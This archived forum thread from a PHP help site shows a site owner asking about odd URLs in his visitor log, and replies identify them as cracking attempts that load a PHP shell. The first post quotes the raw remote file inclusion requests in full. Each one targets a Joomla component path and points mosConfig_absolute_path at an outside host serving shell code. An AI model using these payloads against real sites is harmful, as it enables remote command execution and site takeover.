Suchy Posted February 25, 2008 Share Posted February 25, 2008 After going through the Latest Visitors in cPanel I noticed something like this: http://******.org/news.php?id=67//components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://www.tukangbecak.com/ban.gif? http://******.org/page.php%20http://cccryuan1918ssdf.nightmail.ru/babyboy? http://******.org//components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://www.rednetcat.com/cattalk/wp-content/plugins/mygallery/myfunctions/main.txt?? I replaced my domain with ******, and the stuff in bold ia an actual file on my site. What is the point of all this ? Link to comment https://forums.phpfreaks.com/topic/92845-strange-links-on-my-site/ Share on other sites More sharing options...
zq29 Posted February 25, 2008 Share Posted February 25, 2008 Looks like cracking attempts... Link to comment https://forums.phpfreaks.com/topic/92845-strange-links-on-my-site/#findComment-475645 Share on other sites More sharing options...
Daniel0 Posted February 25, 2008 Share Posted February 25, 2008 It is... the last URL contains this link: http://www.rednetcat.com/cattalk/wp-content/plugins/mygallery/myfunctions/main.txt It looks to be some kind of script which will enable the attacker to gain remote entrance to a computer if uploaded, i.e. some kind of rootkit. Link to comment https://forums.phpfreaks.com/topic/92845-strange-links-on-my-site/#findComment-475829 Share on other sites More sharing options...
freenity Posted February 26, 2008 Share Posted February 26, 2008 It's a php shell, that give you access to execute system commands, upload files, see folders, etc Link to comment https://forums.phpfreaks.com/topic/92845-strange-links-on-my-site/#findComment-476932 Share on other sites More sharing options...
karltanav Posted February 28, 2008 Share Posted February 28, 2008 take care, recently we had problems with one very important foundation website... all sucked Link to comment https://forums.phpfreaks.com/topic/92845-strange-links-on-my-site/#findComment-478705 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.